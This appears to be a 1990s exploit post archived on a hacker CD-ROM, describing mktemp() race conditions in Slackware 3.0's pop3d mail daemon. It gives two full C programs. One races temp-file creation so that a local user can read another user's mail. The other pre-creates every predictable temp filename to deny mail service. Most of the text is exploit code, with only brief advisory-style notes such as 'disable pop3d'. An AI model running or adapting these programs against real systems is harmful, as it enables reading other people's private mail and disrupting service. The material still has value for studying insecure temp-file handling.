home *** CD-ROM | disk | FTP | other *** search
/ For Beginners & Professional Hackers / cd.iso / hackers / exploits / linux / linux-po < prev    next >
Encoding:
Text File  |  1997-02-23  |  4.4 KB  |  146 lines

  1.    As explained before in the mailx security post, there is a problem with
  2.  
  3. usage of mktemp() in many programs.  This is a follow-up to that, demonstrating
  4.  
  5. the generic denial of service attack and a race condition attack on linux's
  6.  
  7. Slackware 3.0 pop3 mail daemon.  Refer to the original mailx post for 
  8.  
  9. information on the security concerns with the use of mktemp().
  10.  
  11.    Linux's /usr/sbin/in.pop3d contains a mktemp() race condition, exploitable
  12.  
  13. when pop client connects to the machine at the point a correct password for
  14.  
  15. a user is entered.  This allows you to read the contents of the mail spool of
  16.  
  17. a user when they connect with a pop client.
  18.  
  19.  
  20.  
  21.                    Program: pop3d (/usr/sbin/in.pop3d)
  22.  
  23. Affected Operating Systems: linux - Slackware 3.0 with pop3d enabled
  24.  
  25.               Requirements: account on system, target user uses pop client
  26.  
  27.            Temporary Patch: disable pop3d
  28.  
  29.        Security Compromise: any user with an account can read mail of a user
  30.  
  31.                             using a pop client to read mail.
  32.  
  33.                     Author: Dave M. (davem@cmu.edu)
  34.  
  35.                   Synopsis: The predictability of mktemp() is exploited to
  36.  
  37.                             create the temporary files after the filenames
  38.  
  39.                             have been determined but before they are actually
  40.  
  41.                             created, allowing the mail being dumped to those
  42.  
  43.                             temporary files to be read by the creator of the
  44.  
  45.                             files.
  46.  
  47.  
  48.  
  49. pop3d-exploit.c:
  50.  
  51. /* This program creates temporary files used by in.pop3d (/usr/sbin/in.pop3d 
  52.  
  53.    under Slackware 3.0), which can then be read by the program. 
  54.  
  55.    This race condition is NOT always successful, it may take extreme conditions
  56.  
  57.    to ensure a high probability of success.
  58.  
  59.  
  60.  
  61.    Dave M. (davem@cmu.edu)
  62.  
  63.  */
  64.  
  65.  
  66.  
  67. #include <stdio.h>
  68.  
  69. #include <sys/stat.h>
  70.  
  71. #include <sys/types.h>
  72.  
  73. #include <fcntl.h>
  74.  
  75.  
  76.  
  77. main(int argc, char **argv)
  78.  
  79. {
  80.  
  81.   int race;
  82.  
  83.   int i;
  84.  
  85.   char fname[80], tmpf[80];    /* hold filename */
  86.  
  87.   
  88.  
  89.   umask(0);
  90.  
  91.   
  92.  
  93.   if(argc<1)
  94.  
  95.     {
  96.  
  97.       printf("pop3 racer\nSyntax: %s process-id\n",argv[0]);
  98.  
  99.       return -1;
  100.  
  101.     }
  102.  
  103.   
  104.  
  105.   /* create tmp file to race creating */
  106.  
  107.   strcpy(tmpf,"/tmp/pop3");
  108.  
  109.   for(i=strlen(argv[1]);i<6;i++) 
  110.  
  111.     strcat(tmpf,"0");
  112.  
  113.   strcat(tmpf,argv[1]);
  114.  
  115.   tmpf[9] = 'a';
  116.  
  117.     
  118.  
  119.   race = creat(tmpf,S_IRUSR | S_IWUSR | S_IRGRP | S_IWGRP | S_IROTH | S_IWOTH);
  120.  
  121.  
  122.  
  123.   while(1)  
  124.  
  125.     {
  126.  
  127.       rename(tmpf,"/tmp/pop.exploit");
  128.  
  129.       if(rename("/tmp/pop.exploit",tmpf) < 0)
  130.  
  131.     {
  132.  
  133.       printf("race lost - file created.\n"); /* catch 1/2 the losses */
  134.  
  135.       break;
  136.  
  137.     }
  138.  
  139.     }
  140.  
  141. }
  142.  
  143.  
  144.  
  145.                    Program: Any with termination on mktemp() failure
  146.  
  147. Affected Operating Systems: Any with predictable mktemp() return values
  148.  
  149.               Requirements: write access to directory temp files written to
  150.  
  151.        Security Compromise: denial of service
  152.  
  153.                     Author: Dave M. (davem@cmu.edu)
  154.  
  155.                   Synopsis: Many operating systems have an extremely limited
  156.  
  157.                             temporary file creation algorithm, which results
  158.  
  159.                             in denial of service attacks on any program that
  160.  
  161.                             uses them exceedingly easy.
  162.  
  163.  
  164.  
  165.  
  166.  
  167. deny-mktemp.c:
  168.  
  169. /* This programs opens the complete set of temporary files tested with mktemp()
  170.  
  171.    for a given template (with 6 X's), usually resulting in the program
  172.  
  173.    terminating upon failure to find an open file.  In pop3d, this prevents a
  174.  
  175.    pop client from reading their mail.
  176.  
  177.  
  178.  
  179.    Dave M. (davem@cmu.edu)
  180.  
  181. */
  182.  
  183.  
  184.  
  185. #include <unistd.h>
  186.  
  187. #include <stdio.h>
  188.  
  189. #include <sys/types.h>
  190.  
  191. #include <sys/stat.h>
  192.  
  193. #include <fcntl.h>
  194.  
  195.  
  196.  
  197. /* template found in program's header file, minus X's */
  198.  
  199. #define TEMPLATE "/tmp/pop3"
  200.  
  201.  
  202.  
  203. main(int argc, char **argv)
  204.  
  205. {
  206.  
  207.  long int i,j;
  208.  
  209.  char fname[20];
  210.  
  211.   
  212.  
  213.  if(argc<2)
  214.  
  215.    {
  216.  
  217.      printf("Syntax: %s process-id\n");
  218.  
  219.      return -1;
  220.  
  221.    }
  222.  
  223.  
  224.  
  225.   j = strlen(TEMPLATE);
  226.  
  227.  
  228.  
  229.   strcpy(fname,TEMPLATE);
  230.  
  231.   for(i=strlen(argv[1]);i<6;i++) 
  232.  
  233.     strcat(fname,"0");
  234.  
  235.   strcat(fname,argv[1]);
  236.  
  237.  
  238.  
  239.  for(i=0;i<26;i++)
  240.  
  241.    {
  242.  
  243.      fname[j] = 'a' + i;
  244.  
  245.      creat(fname,O_WRONLY | O_CREAT); 
  246.  
  247.    }
  248.  
  249.  
  250.  
  251.  for(i=0;i<26;i++)
  252.  
  253.    {
  254.  
  255.      fname[j] = 'A' + i;
  256.  
  257.      creat(fname,O_WRONLY | O_CREAT);
  258.  
  259.    }
  260.  
  261.  
  262.  
  263.  for(i=0;i<9;i++)
  264.  
  265.    {
  266.  
  267.      fname[j] = '0' + i;
  268.  
  269.      creat(fname,O_WRONLY | O_CREAT);
  270.  
  271.    }
  272.  
  273.  
  274.  
  275. }
  276.  
  277.  
  278.  
  279.  
  280.  
  281.  
  282.  
  283.  
  284.  
  285.  
  286.  
  287.  
  288.  
  289.  
  290.  
  291.